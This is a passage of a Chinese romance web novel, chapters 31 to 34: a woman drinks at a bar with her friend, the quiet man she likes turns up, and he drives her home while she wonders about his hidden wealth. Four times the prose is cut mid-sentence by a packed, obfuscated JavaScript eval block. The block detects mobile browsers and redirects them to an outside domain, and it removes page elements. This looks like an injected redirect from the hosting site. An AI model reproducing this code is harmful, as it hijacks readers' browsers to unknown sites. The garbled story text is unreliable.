进门的时候要下几级台阶,推门那瞬间,温热的空气混着酒精和香水的味道扑面而来。不是令人不适的浓烈,而是一种刚刚好的、精心调配过的暧昧氛围。 林希朝服务生报了名,对方点头带她们穿过走廊,领进一个半开放的小卡座。 灯光不是那种彩色跳跃的,而是暖金色,很克制地打在酒桌和玻璃杯边缘,让人一坐下就不太想走。 “来点什么?”林希率先打开菜单,“我给你推荐几款不太烈的,甜口。” “我想喝点烈的。”裴雨开口打断她,语气平静却坚定。 林希微怔,看着她的眼神带出一丝探寻:“你确定?” “嗯。” “你今天看起来……好像很想逃。” “也许是。”裴雨合上酒单 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15809073|173816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,把它推回林希面前,“逃一会儿也没关系吧?” 林希没再问,点了两杯龙舌兰sunrise,又让调酒师给裴雨那杯稍微重一点。 酒很快上来了,橘红色的液体在玻璃杯里泛着光,像一场未曾开始的黄昏。 裴雨端起杯子,轻轻碰了下林希的:“干杯。” “为逃跑的权利。” “为压抑情绪终于找到缺口。” 她喝了一口,喉咙里立刻泛起那种灼烧感,火一样滑过去,却在胸口炸开冰一样的空洞。那一瞬间她甚至闭了闭眼,像是在感受那种短暂的钝痛。 “你真的失恋了?”林希问。 “都没开始,哪来的失。”裴雨慢慢放下杯子,“可能就是自己太用力了,然后掉进了一个人设定好的安静里,挣脱不出来,又无法不去在意。” 林希撑着下巴看她,声音轻:“他说什么了?” “也没说什么。就……他说他是个工人,说他学历也不好。” “你嫌弃他?” “不是。”裴雨把手掌撑在桌面上,指腹泛白,“我只是……可能有点失控。我们相处不多,我甚至不知道他喜不喜欢我,可我就是觉得,明明我已经很努力在靠近了,他为什么不回应?” “他可能不知道怎么回应。”林希想了想,“很多人面对感情的时候是慢热的,不代表不喜欢,只是不知道怎么给出反应。” “我知道。”裴雨低声,“我也觉得他不是没感觉。他看我的时候眼神很温柔。” “那你还在怕什么?” “我怕只有我一个人动了心。” 林希没说话,只是举杯又陪她喝了一口。酒精在微妙地扩散,让两人脸颊上都有些许晕红。 吧台那边开始有驻唱,声音不大,是个长相清秀的男孩弹着吉他唱一首很老的民谣。歌词唱到“我想把整个青春都给你,却发现你不缺”,那种略带自嘲的轻柔语调,让裴雨忽然觉得胃里一阵抽空的感觉。 她起身去洗手间洗了把脸。 镜子里的自己脸色泛红,眼神有点迷离。她靠近一些,伸手在镜面上抹去一层雾气,然后盯着自己看了一会。 她忽然觉得自己很陌生。像是正在过一场不是她人生轨迹里的生活。 她不是那种会主动撩拨别人感情的人,也不是那种为了喜欢的人可以放下所有自尊去追求的人。可面对宋行舟,她所有的原则、理智、步调都开始动摇。 她太久没谈恋爱了。 久到忘了如何在感情里保持节奏。 更久到一旦喜欢一个人,就立刻想知道对方到底喜不喜欢,立刻想要一个答复。 她拍拍脸,呼吸慢慢平稳,走回卡座。 林希已经点了第三轮酒,换了轻一点的鸡尾酒,颜色透亮像是果汁。 “你还好吗?” “好多了。”裴雨坐下,“我还是要谢谢你,今晚如果不是来这儿,我可能又会关在房间里想一整晚。” “别客气。”林希轻轻笑了一下,“我就知道你这人不是真的冷淡,你只是有点害怕。” “可能吧。”她撑着下巴,眼神浮动,“我也想勇敢一点。” 她低头拿起手机,亮屏。没有新消息。 她犹豫了一下,把手机放回桌上。 林希盯着她:“你还在想他?” “我不知道。”她咬了咬唇,“我只是……不想就这样结束。” “你有没有想过,他可能也正在等你?” 裴雨怔了怔。 她没回答,眼神却微微动了一下。 酒意开始渐渐升上来,晕在眼角眉梢里。 她靠在沙发边缘,抬头看天花板上柔和的灯光,忽然有点想哭,又有点想笑。 “林希,”她轻轻开口,“你有没有觉得……成年人真的太难了。” “怎么说?” “连个喜欢,都要小心翼翼地藏着,怕暴露,怕冒犯,怕结果。” 林希没说话,只陪她喝了一口酒。 酒吧里的人声渐渐多起来,音乐节奏轻缓中带点鼓点,氛围像一场缓慢升温的梦。 裴雨没有离开,她就坐在那里,看着来来往往的人群,喝着一杯又一杯颜色好看的酒,情绪仿佛在一滴一滴地被抽空,又在微醺中悄悄回落。 这一晚,她终于不用假装自己很清醒了。 32. 我真的没醉 吧台上的灯光换了一轮,玻璃杯中倒映出碎裂的金红色,如同海面上闪动的微光。空气中漂浮着香水与酒精混合的气息,不浓烈,却有些黏滞。 裴雨靠在卡座边缘,眼神落在杯子里,没再说话。林希换了个坐姿,把腿曲起一点放在自己身边的沙发上,手里摇晃着那杯兑了果汁的气泡酒,漫不经心地看着她。 “裴雨。”她忽然开口。 裴雨抬眼,眼神略显迷蒙地望向她。 “你不是以前一直说,喜欢那种学历很高的、特别聪明的男人吗?”林希轻笑,“那时候你说,你就想找一个能带着你走得更远的人。你说你喜欢规划未来,所以喜欢那种思维清晰、目标明确的男生。” “是吗?”裴雨的声音轻得几乎要被音乐掩去。 “是啊。”林希说,“你还记得我们刚认识那会儿一起吃饭,你给我们讲你前男友,说他智商高、读书好,是你人生中见过最擅长制定计划的人。虽然你们分手了,但你那语气,根本像是在敬佩一位远道而来的哲人。” 裴雨没说话,只是慢慢低头,指尖轻敲着杯口。 林希继续:“所以我其实一直挺惊讶的……你对现在的这个人,不是那种‘理智型’喜欢吧?” 裴雨的眼神微微变了,像是酒意中被什么无声地撩拨了一下。 林希靠近她一些,语调放缓:“你从前不是一向最介意学历的吗?” 空气忽然安静了几秒。 连驻唱歌手唱的那首轻民谣都刚好结束了,现场陷入一瞬无声。 裴雨忽然笑了一下,喃喃地说:“我好像……真的很久没有想过这个问题了。” 她抬起头,整个人似乎比刚才更清醒了一些,哪怕脸上还带着点晕染的红意。 “我都没问过他读的是什么学校,也不知道他什么学历。”她的语调带着某种轻微的讶异,“就连他做什么工作,具体到什么程度……我也没有真正追问过。” “那你图什么?” “我不知道。”裴雨摇了摇头,慢慢地,“他不说话的时候,气场很沉静。可你知道那种感觉吗?你能感觉到他在看你,可一旦你转过去,他就移开了目光。” “暧昧?” “不,不是那种。”她思索着,“不是要撩你的那种眼神,是……他是真的在看你,看得很认真,很专注,好像在看一幅画。” 林希歪了歪头,嘴角轻勾:“那还挺浪漫。” “是啊。”裴雨眼神低了下去,“他很有趣,可他不会讲那些讨你欢心的花言巧语,也不怎么主动给你发消息。有时候我甚至怀疑他是不是根本没把我当回事。” “但你就是喜欢他。” “对。”裴雨轻声说,“我就是喜欢他。” 她从来没这么坦白地承认过。哪怕之前和刘盼盼说起这个人,说得再多也不过是一些“我觉得他挺有意思的”、“他做事的样子让我挺动心”这样的小心翼翼。 可今晚,在这个半昏暗的空间,在几杯酒下肚之后,她才意识到,那种感觉已经不只是动心了。 她喜欢他。 喜欢一个她甚至没有去问学历的人。 喜欢一个可能不会主动,也不懂得回应的人。 喜欢一个在她口出伤人后还给她送煎饼果子、在便签纸上写出“底层工人只会买这个,将就着吃吧”这种句子的人。 林希没再追问,只是沉默了一会后低声说:“你知道吗?其实也不奇怪。我们所有人都会变的,特别是在喜欢一个人的时候。” “嗯?” “我之前也是,”林希笑笑,“大学的时候我死活不肯接受抽烟的男生,觉得那种人不健康、不自律,跟我格格不入。结果后来我居然跟一个烟瘾比饭瘾还大的男生谈了两年恋爱。” “后来呢?” “后来分了。”林希耸耸肩,“不是因为烟,是因为他太穷了,我那会儿没办法不现实。” 裴雨轻笑了一声,仰头喝光杯中剩下的酒,眼角有点微微泛红。 她从来没想过,自己会对学历这个她一直以来都很看重的条件产生动摇。她一直觉得感情固然重要,但理智更重要。她想要一个能带她往前走的伴侣,而不是拖着她往后退的包袱。 可她看着宋行舟,却完全没有那种“要不要”的计算。 她只是想靠近他。 想知道他有没有认真地看过自己,哪怕只有一眼。 “林希。” “嗯?” “我其实……怕自己被耍了。”她的声音有点轻,“如果他根本没想喜欢我,只是觉得我挺有趣,或者说他根本没意识到我已经动心了,那我算什么?” “那你就是喜欢错了人。” 裴雨抬头,看着她。 林希耸耸肩,说得轻松:“你知道我不是那种非要安慰人的类型。如果他不回应,那你就得学着收一收。可如果他只是慢热……你也得想好你愿不愿意等。” “你觉得他是慢热,还是不喜欢我?” “我觉得你该去问他。”林希凑近了一点,拍了拍她的肩膀,“别再猜了。你都喜欢他了,别在自己脑子里打架。” “可是……”裴雨欲言又止。 “没有可是。”林希打断她,“你已经不是那个设条件谈恋爱的女孩了,你是喜欢他,不是喜欢他的学历、年薪、社交能力或人脉资源——那就直白一点。” 裴雨沉默了好一会,才低低“嗯”了一声。 音乐换了一首,是首偏爵士调的老歌,女声低哑而缠绵,像是猫咪踱步,声音在空气中划出慵懒的曲线。 她靠回沙发里,忽然觉得眼前这一切都很不真实。 但她清楚地知道一件事——她再也不是那个把条件排成一张列表去选人的裴雨了。 她只是恰好,在这个年龄,喜欢上了一个不太符合她逻辑的人。 也许正因为如此,那喜欢才是真的。 林希约的那几个朋友大约是在十一点过后才陆续抵达的。 那是一群裴雨并不熟悉的人,男男女女都有,说话带着魔都本地口音,衣着打扮明显比普通白领更入时些,语气中不自觉地透出一点“圈子感”。林希倒也没急着把她介绍进去,只是起身迎了上去,跟几个熟人打了招呼,拉了两个人过去吧台边寒暄。 裴雨没有跟着挪动,仍旧窝在卡座里,她喝得不算快,但酒是林希点的鸡尾酒,颜色艳丽、口味温顺,一杯下去几乎尝不到酒精的苦涩,可实际上度数并不低。 她此刻已经有点上头了。 耳边的音乐声忽远忽近,有些像水下传来的回响,她靠在沙发靠垫上,眼前的灯光都变得模糊了一点。她试图清醒一下,拿起水杯抿了口水,却还是觉得脑子有些飘。 她不是那种特别能喝的人,平常应酬场合也一向克制,今天大概是情绪堆得太多,才一时没把握住分寸。 眼前那片人群在她醉意朦胧的视线中变得松散开来,每个人的动作像是慢放的影像,声音也变得断断续续。 她无意识地扫了一圈,视线却忽然在某个角落定住了。 灯光不是很亮,但她看到那个男人的时候,心还是一下子悬了起来。 那个男人穿着深色的衬衫,外面套了件薄外套,身形挺拔,侧脸棱角分明,神情沉静得几乎像个局外人。他没在说话,只是站在角落里,像是刚进来没多久,还在适应周围的环境。 裴雨眨了眨眼,试图让自己看得更清楚一些。 是他吗?她不确定。 像,真的很像。 她心跳忽然开始加快,明明刚才还在微醺得快要睡着的状态,这一刻却像被骤然按了开关。 她努力想要坐直身体,可身下的沙发太软,她支撑着要站起来时,整个人却晃了一下。 头晕得厉害,眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15817195|173816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前一阵发黑。 她扶着桌子想稳住身形,却还是踉跄了一步,整个人朝旁边栽去—— 就在她几乎要跌倒的瞬间,一只有力的手臂扶住了她的肩膀。 那力量稳稳的,不紧不松,带着种沉着的冷静。 “你喝多了。” 耳边响起一个声音,低低的,有点哑,却又意外地熟悉。 她几乎是下意识地抬起头,眯着眼去看眼前的人—— 是他。 真的是宋行舟。 裴雨怔了一下,有那么两三秒,她像是还没反应过来,整个人靠在他手臂上不动了。 灯光从侧上方洒下,他眉眼沉静,目光落在她脸上,没什么情绪,甚至可以说有些冷淡。 “你……”她张了张嘴,嗓子发干,声音带着点浓重的鼻音,“你怎么在这儿……” 宋行舟没有立即回答,只是轻轻地扶着她坐回原位,动作很克制,没有多余的碰触。 “林希约的那几个朋友里,有我认识的。”他说,“他们在门口拉我,我就进来了。” 他说得不快,也不多,但字句间却有种清晰的边界感,像是在小心地避免任何情绪的流露。 裴雨坐在卡座边沿,手还攥着刚才没来得及松开的水杯,掌心一片温热,像是整个人都还有点没回过神。 她低头看了眼自己的腿,脑子慢慢清醒过来一点。 “我……我没喝很多。”她说,带着点赌气的自我辩解,“就两杯。” 宋行舟没回,只是安静地坐在她对面,像在等她彻底清醒,又像在观察她的状态。 裴雨却忽然觉得有点难堪。 她不喜欢这样出现在他面前的状态,酒意上头、眼神发红,说不清是刚才酒精刺激的,还是这会儿的情绪太过复杂。 “你刚才在那边……”她顿了顿,声音更轻了些,“我差点没认出来。” “嗯。”宋行舟看着她,忽然问:“你还好吗?” 这三个字很普通,但从他嘴里说出来时,却让裴雨有种说不出的情绪翻涌。 “我……”她想说“挺好的”,但话到嘴边,却怎么也说不出口。 她想起昨天晚上她说的那些话,想起她把他当成一个“学历不够高、前途不够光明”的存在,说得像是自己站在某种评判的位置上。 可现在呢? 他站在酒吧灯光下,一身清冷安稳的气息,眉眼间带着那种她熟悉的克制与分寸,连扶住她的力道都小心翼翼,不动声色地守着界限。 她突然意识到,他或许从头到尾都没有真的“介意”她说的那些话。 他只是……比她冷静。 她情绪外放、冲动,习惯用行动去验证和宣泄。 而他,不动声色,一句话都能轻描淡写地化解她的试探。 他不像她想象中的那种“被刺痛了就要躲开”的人。 “宋行舟。”她忽然开口。 他“嗯”了一声,看着她。 裴雨盯着他,像是想从他脸上找出什么情绪,可最终只低声说:“谢谢你刚才扶我。” 他点了点头,没多说。 两人陷入短暂的沉默。 音乐换了一首,节奏缓慢,是上世纪的老蓝调,唱腔慵懒。 林希这时候才注意到这边的动静,转头看到他们两个坐在一起,眉毛微挑了一下,没打扰,只是向裴雨做了个“要不要过来”的手势。 裴雨摇了摇头。 林希笑了笑,又转回去继续和她朋友聊天。 裴雨低头看着桌上的水杯,过了好一会,才轻轻开口:“你……想不想喝一杯?” 宋行舟看了她一眼,没有马上回答。 “就一杯。”她补充,语气像是在央求,又像是在解释,“我真的没醉。” 他似乎犹豫了一瞬,最终还是轻轻点头。 “好。” 33. 我担心你 裴雨并不知道自己是从什么时候开始一杯接一杯地喝起来的。 也许是从林希那边朋友过来打招呼,她不得不尴尬地应对一两句开始;也许是从宋行舟坐在她对面,安静地看着她、却什么都不说的那一刻开始;又或者,早在她看到他出现在这家酒吧里的那瞬间,她心里那点早已积攒许久的情绪,就已经找到了倾泻的出口。 她一向不是个爱喝酒的人。 更准确地说,是不喜欢在外人面前显得“情绪失控”——她总是想把事情处理得体面、合理,即使难过,也得憋回家再说。 可这一晚,她忽然觉得太累了。 什么都不想撑。 “你怎么喝得这么急?”宋行舟看着她,把她第三杯还没喝完的鸡尾酒拿开时,语气里第一次有了些明显的不安,“你不是说你酒量一般?” “我今天状态好。”她把下巴搁在手背上,声音软下去,语速却比平常快了些,“很能喝。” 宋行舟没有笑。 他没应她的调侃,只是盯着她看了几秒,然后把她手边剩下的杯子轻轻挪远了点。 裴雨看他动作,忽然心里一酸,有点委屈地笑了一声:“你不喝啊?” “我开车。”他语气很平静,指尖搓了搓杯口,只浅抿了一口,便再没动过。 裴雨盯着他手边的玻璃杯,忍不住问:“那你来干什么?” “刚说了,碰巧看到熟人,被拉进来。”他顿了顿,又加了一句,“看到你了就想来看看你。” 裴雨低头,嘴角却弯了一下,不知道是笑还是自嘲。 “我不需要你看我。”她低声说。 宋行舟没动。 她以为他会问“为什么”,或是“你喝酒跟我有关系吗”之类的反问,可他没有。他只是静静地看着她,眼神沉稳,却不再言语。 那种沉默,比任何质问都来得有力。 她更烦了。 “你为什么这么冷静啊?”她忽然抬头看他,语气带着一丝逼问,“我说什么你都不生气,你是不是根本没放在心上?” “你是想让我生气吗?” 他的声音不重,却让裴雨猛然一噎。 她说不上来那句话是什么情绪,但它像是一把无形的剪刀,一下子剪断了她脑子里所有乱糟糟的念头。 她愣愣看着他,张了张嘴,却不知道该说什么。 宋行舟看着她,眼神忽然变得更柔和了一点,但语气依旧是克制的:“你刚刚差点摔了。” “……我知道。”她闷闷地说。 “你脸很红。”他说。 “喝酒脸都会红。”她声音更小了。 “眼睛也红。”他忽然轻声道,“你是不是哭了?” 她没想到他会问得这么直接,呼吸一下子乱了。 “没有。”她下意识否认,“我……是风吹的。” “酒吧里没风。” 她咬了咬唇,低头不说话了。 宋行舟盯着她几秒,终于伸手,把她手里刚拿起来的杯子轻轻夺了过去。 “别喝了。” 裴雨抬头,眼里含着点怒意和委屈:“你管我?” 宋行舟没躲开她的视线,只是缓缓地说:“我担心你。” 裴雨怔住了。 这句话说得不重,但她却像是被点到了某处极其敏感的神经。 她一直在等他说什么,一直。 等他承认介意她说的那些话,等他告诉她他其实有情绪、有在意她。 但他偏偏只是这么一句简单的“我担心你”。 干净利落,没有多余的情绪解释,却比她所有的试探都更让人动摇。 她忽然哽住了,像是所有话一下子堵在了喉咙口。 “你为什么不说?”她抬起头,眼圈泛红,“我说那种话,你为什么不反驳?不回嘴?你是不是觉得我说的对?” “你觉得呢?”他没正面回答,只反问她。 裴雨闭了闭眼。 她忽然觉得自己像个彻底的小丑,明明是她自己不安,才一遍遍去试探他;明明是她先觉得“学历”“未来”“社会标准”这些外在标签很重要,结果现在却像个反悔的人一样,希望他证明她错了。 她想要被他在意,又不想低头承认自己对他动心。 她所有的“理想型”标准,都在他面前失去了原本的意义。 她曾经最看重学历,最看重相似的社会轨迹,可她连宋行舟是哪个学校毕业的都没问过。 她甚至不在意他是不是懂得金融,是不是有向上流动的路径。 她只是……想看见他。 想让他看见她。 裴雨吸了吸鼻子,强撑着说:“那你干嘛还来找我?” “我也在想这个问题。”宋行舟说,声音淡淡的,却没有责怪的语气。 “你想好了吗?” 他摇头。 “还没有。” 她看着他,一时不知道该笑还是该哭。 她是真的有点醉了,眼前晃着五彩灯光,耳边的音乐不知道什么时候又变得摇滚起来,整个空间像是虚浮的,她像踩在云上。 “那你能不能别用这种表情看我……”她忽然说,“你看起来……很懂事。” “懂事?” “就是……太冷静了。”她喃喃,“我都快疯了,你怎么还能这么冷静?” 宋行舟没有立刻回应。 他只是静静地看着她,眼神平静,像一潭深水。 裴雨想继续说点什么,却忽然觉得有些困了,酒意像潮水一样,一点点往上涌。 她靠在沙发靠垫上,眼神开始游移。 “我好像……”她低声说,“有点晕。” 宋行舟看着她,终于站起身,走到她身边,蹲下身,轻声说:“我送你回去。” 她闭着眼,嘴角轻轻动了一下:“你不是开车了吗?” “开车又不影响送你。”他说。 裴雨没再说话。 宋行舟低头看着她垂下的眼睫,又伸手轻轻拢了拢她肩上的披风。 那一刻,他的动作轻得像是怕惊动什么情绪。 而他不知道的是,裴雨早已听见了他那句“开车又不影响送你”时,心里那根悬着的线,终于悄无声息地断了。 酒吧里的光影始终闪烁不停,霓虹在每个人脸上落下若有若无的颜色,好像一场长不大的梦。宋行舟站起身的那一刻,裴雨整个人已经靠在沙发的边角,眼神迷离,神情恍惚,像一只刚被海浪拍打过的小动物,脆弱又顺从地陷在自己那团酒意里。 她没力气挣扎,也没有拒绝。 宋行舟的手从她背后绕过,在她肩胛和脊柱之间探出一臂,温热的掌心贴着她透气衬衫的背后,试图给她一点支撑感。他另一只手扶住她的胳膊,试探着用一点力将她从沙发里半扶起来。 “能站起来吗?”他语气轻柔,低声贴在她耳边问。 裴雨没说话,只是点了点头,整个人顺着他轻轻一拉便站了起来。她摇晃了一下,身体向前一倾,额头几乎撞到宋行舟的下巴,被他及时伸手稳稳扶住。 “慢点。” “……嗯。” 她的回应小得几不可闻,像是从喉咙底部被酒精压着挤出来的音节。 宋行舟一手搀着她,一手扶着她的背,带着她一步一步往酒吧外走去。两人动作明显,虽不至于引人侧目,但也在昏暗灯光里形成一副显眼的画面。 他们刚绕过角落那个小圆桌,准备往 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15827717|173816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出口走,就听见一道带笑的女声从旁边传来: “诶——裴雨,你这是提前撤啦?” 是林希。 她坐在另一边略高的平台卡座上,旁边围着三四个男男女女,笑语晏晏,香水味和酒气混杂着飘过来。 宋行舟停了下脚步,下意识微微转头,朝林希的方向看了一眼。 林希斜靠在座椅靠背上,单手支着下巴,笑得漫不经心,却在看清宋行舟的脸时,眼底掠过一丝诧异:“咦?” 她眯起眼睛,抬手指了指:“宋行舟?” 宋行舟点了点头,很简短地回应:“林希。” 那语气并不亲热,但也不疏远,像是认识但许久未见的旧人那种生疏礼貌的态度。 林希盯着他打量几秒,忽然笑了一声:“真巧啊,你也在这儿?” 宋行舟没正面回答,只说:“陪朋友。” “裴雨是你朋友?”她偏了偏头,看了眼他怀里的裴雨。 裴雨没有说话,她原本靠在宋行舟的肩上,一听见林希的声音,睫毛颤了颤,眼皮动了动,似乎想睁开眼确认什么。但她终究太困,太累,太醉,只是隐约在意识深处知道——林希和宋行舟认识。 她不知道那种“认识”具体意味着什么,是朋友,是前同事,是学长学姐,还是别的。 可她现在不想知道。 一点都不想知道。 她的脑子像泡在温水里的棉絮,浮着沉着,模糊不清,她只知道现在这只手很稳,支撑着她的身体,没有一丝一毫不耐烦,也没有半点躲闪。 林希眼神在两人之间停留了几秒,终于笑了笑,收回了刚才略带挑逗意味的语气:“那你们慢走。” 宋行舟微微颔首,没有多说什么,重新转身搀着裴雨往前走。 刚踏出两步,裴雨忽然在他肩头轻轻哼了一声,像是有些不舒服。 他立刻停住,低头看她:“怎么了?” “……头有点晕。”她声音有些发虚,“胃……空。” 宋行舟眼神一动。 他轻轻将她往自己身边靠得更近一些,让她大半个身体都倚在他胸前,抬手遮了下她额前的光,又侧头说:“我带你先出去,车上有热水。” “你干嘛要来啊……”她忽然低声问了一句。 声音飘忽着,尾音绵软,却带着一丝情绪。 宋行舟没立刻回答。 他沉默了一瞬,说:“我本来也不知道你在这儿。” “你不是说你被拉进来的……” “我说的是实话。”他停顿一下,又道,“但如果不是因为你在,我不会留下。” 裴雨没说话了。 他们终于从喧嚣混乱的酒吧走出去,夜风拂过,有些冷。 她的身体有些发抖。 宋行舟脱下外套披到她肩上,又扶着她慢慢走向路边停车位。 酒吧门前的光不像里面那样杂乱,只有几盏路灯和远处霓虹车灯的反射。她脚步虚浮地走在他身边,仿佛踏着棉花。 但他一直都没松手。 “我想问你一件事。”她忽然轻轻说。 宋行舟微微低头,没打断。 “……你是不是,跟林希认识?” 他顿了一下。 “认识。”他说。 “你们熟吗?” “不熟。” “她知道你在哪工作吗?” “不确定。” 她点了点头,似乎想接着问,但下一秒便把头靠回他肩膀上:“……那就算了。” 宋行舟看着她发顶,不再说话。 风又起了。 路灯下一道光影从两人身上拉长,交叠,像是黏在一起的影子,一前一后,缓慢地移动。 34. 我从没说谎 夜风将她的醉意吹得更沉。 裴雨窝在宋行舟身侧,整个人几乎靠在他怀里。他动作很轻,把她搀进副驾驶座,慢慢地按下座椅靠背,再替她系上安全带。动作一点都不像她脑子里那个“沉默寡言的底层工人”该有的样子,细致得反而像医生或是研究员那种气质的人。 头晕得厉害,胃里有点翻,她闭着眼靠着车窗边,汗贴在脖颈里黏腻得不舒服。宋行舟绕到驾驶座,发动引擎。车子启动的同时,她下意识睁了一条缝的眼,车内仪表盘的灯柔和地亮起。前方那块导航屏在夜色里投下一点幽幽的蓝光,像是隔着夜色给她脑子里的一团乱麻泼了一勺清水。 她的视线晃了晃,终于落在车窗外刚刚掠过的车牌号上。 不认识。 她原以为他会骑那辆熟悉的、每天都停在楼下的电动车,那种灰扑扑、工人骑惯了的老款型。可现在这辆车,却是崭新的,油光锃亮,黑色车身,低调却绝不便宜。 裴雨皱了皱眉。 “……这是你朋友的车?” 宋行舟看她一眼,没笑也没解释,缓缓转动方向盘,让车平稳驶出酒吧的停车场。 “我的。” 她声音虚弱,但还是撑着问出口,“你……不是说你骑电瓶车去上班?” “都是真的。” “可这车看起来不像你那时候说的‘底层工人’该开的。” 她的声音不带讽刺,也没有质疑,只是像个醉得迷糊却仍记得片段线索的侦探,把这段时间里她对他的了解,一点点拼接上来。只是这拼图拼得有些费力,也有些太慢。 宋行舟一手搭在方向盘上,另一手从副驾驶旁的杯托里取出一只银色的保温杯。杯身有些旧,但被擦得很干净。他转开杯盖,一缕水汽从里面升起,是热的。 他一边开车,一边把杯子递到她手边:“喝点水,胃里好受点。” 她犹豫了一下,还是伸手去接,结果手一抖,差点洒了。宋行舟见状,只好把车缓缓靠边停下。 “别动,我喂你。”他说。 她怔了一下,然后没有拒绝。 他解开自己的安全带,略微俯身过来,左手托着她的后脑,右手拿着杯子,仿佛是在哄孩子那样温柔而耐心地将温水送到她唇边。 第一口下肚的时候,裴雨几乎要哭出来。 不是烫,是暖,是她好久没有被这样温柔对待过的感觉,从胃到喉咙,从心里到眼睛,全都被这一小口热水烫得泛起了酸。 “慢点。”他低声提醒她。 她点头,水顺着杯口缓缓流入喉咙,她没再说话,只是睁着眼看他。他的脸在昏黄的车内灯光下显得很平静,一如她初见时那种内敛的样子。但这时候看,又觉得那份“沉默”像是经过筛选的克制——不是不会说,而是懂得什么时候不说。 车里安静了一会。 她喝完最后一口水,他将杯子收好,又替她把安全带重新调整好,手指碰到她胸口时动作轻得像羽毛。他的脸在近处,呼吸轻浅。 “宋行舟。” 她忽然出声。 他应了一声:“嗯?” “……你到底是做什么的?” 宋行舟抬眸看她,眼神平静,唇角却轻轻弯了一下,似乎笑了一下,但也似乎只是车灯映下的错觉。 “电厂工人,”他说,“但不是搬砖的那种。” “所以呢?” “有机会再告诉你。” “你是不是……”她顿了一下,脑子里飞快地闪过无数种可能性,“你是不是挺有钱?” 她也不知道自己为什么会问这个问题。 可能是因为刚刚看见了车牌,也可能是因为他今天穿得并不随便,也可能是因为他对酒的克制和那只温水保温杯,都不像是她以为的那种“拼生活”的打工人。 宋行舟看着她,眼底像是藏着一点光,却没有直接回答,而是问她:“你觉得有钱的人,就不能做工人?” 她没法回答。 他说:“我有在电厂干活,也有在别的地方工作。” “比如?” “再告诉你,”他停了一下,“等你脑子清醒点。” 她闭了闭眼,没有追问。 “那你现在,打算送我去哪儿?” “你想去哪儿?” “我家。” “好。” 他重新发动了车。 夜色一寸一寸地后退,车窗外的街景像一卷缓慢展开的画卷,带着他们朝某种未明的方向驶去。 而裴雨,靠在椅背上,身体已经被温水暖过,精神却还陷在一种比酒更微醺的情绪里。她还没完全搞清楚这个男人到底是谁——他有太多她没了解的部分,他身上藏着太多和“底层工人”不符的东西。 可她现在,好像没力气去一条条揭开。 她只知道他的手很稳,他的眼神很柔,他带着她从酒精中走出来,就像把她从那场混乱的、不确定的生活里,暂时抱了出来。 她闭上眼,轻声说了一句:“谢谢你。” “别说谢谢。” “为什么?” “我们现在还不止是朋友,不是吗?” 他话说得不轻不重,带着一点点意味不明的温度,像酒精蒸发后残留在杯底的香味。 她没有回答,只是轻轻侧过头,把脸贴在车窗的那一边,不让他看到自己泛红的眼眶。 夜很静了。 裴雨被抱着上楼的时候,她已经靠在宋行舟的胳膊上半睡过去了。 她的身子轻,不是那种骨头磕人瘦的轻,是带着点没吃午饭、晚上又空腹喝酒的虚,像一团半化的雪,靠着他,呼吸都带着醉意的温度。他一只手撑着她的背,一只手拿着她家的钥匙,小心地开了门。 屋里冷清,一股淡淡的花香,是她习惯用的香薰味道。柔光灯从天花板打下来,把这套虽然不大但布置得很精致的屋子照得温软。她脚上穿着高跟鞋,脚踝早就被磨得红了,他弯腰将她抱起来,轻轻放到沙发上。 她脑袋歪了一下,靠着沙发扶手,不说话,脸却泛着不自然的潮红。 “水还要喝点吗?”他问。 她摇了摇头,但没松开抓着他手腕的手。 宋行舟顿了顿,把那只还带着她体温的保温杯放到茶几上,准备起身。但她忽然扯住了他衬衫一角,很用力地不让他走。 “别走。” 他叹了口气,半蹲在她身侧,视线与她平齐。 “你到底想要做什么?” 他声音低,眼神却比语气更认真。 裴雨喝了酒,脑子还是不太清醒,但她比刚才在车上清楚些了。她眨了下眼,像在琢磨他的问题,然后竟笑了一下,带着点嘲弄。 “你不是说……你是底层工人吗?” 宋行舟听到这句话时,眼里的某种色彩像终于被点燃。 他偏过头,好像不愿意在她醉成这个样子的时候认真讲道理,但她的眼神又太认真,太执拗。他只好低下头,揉了把自己乱糟糟的短发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 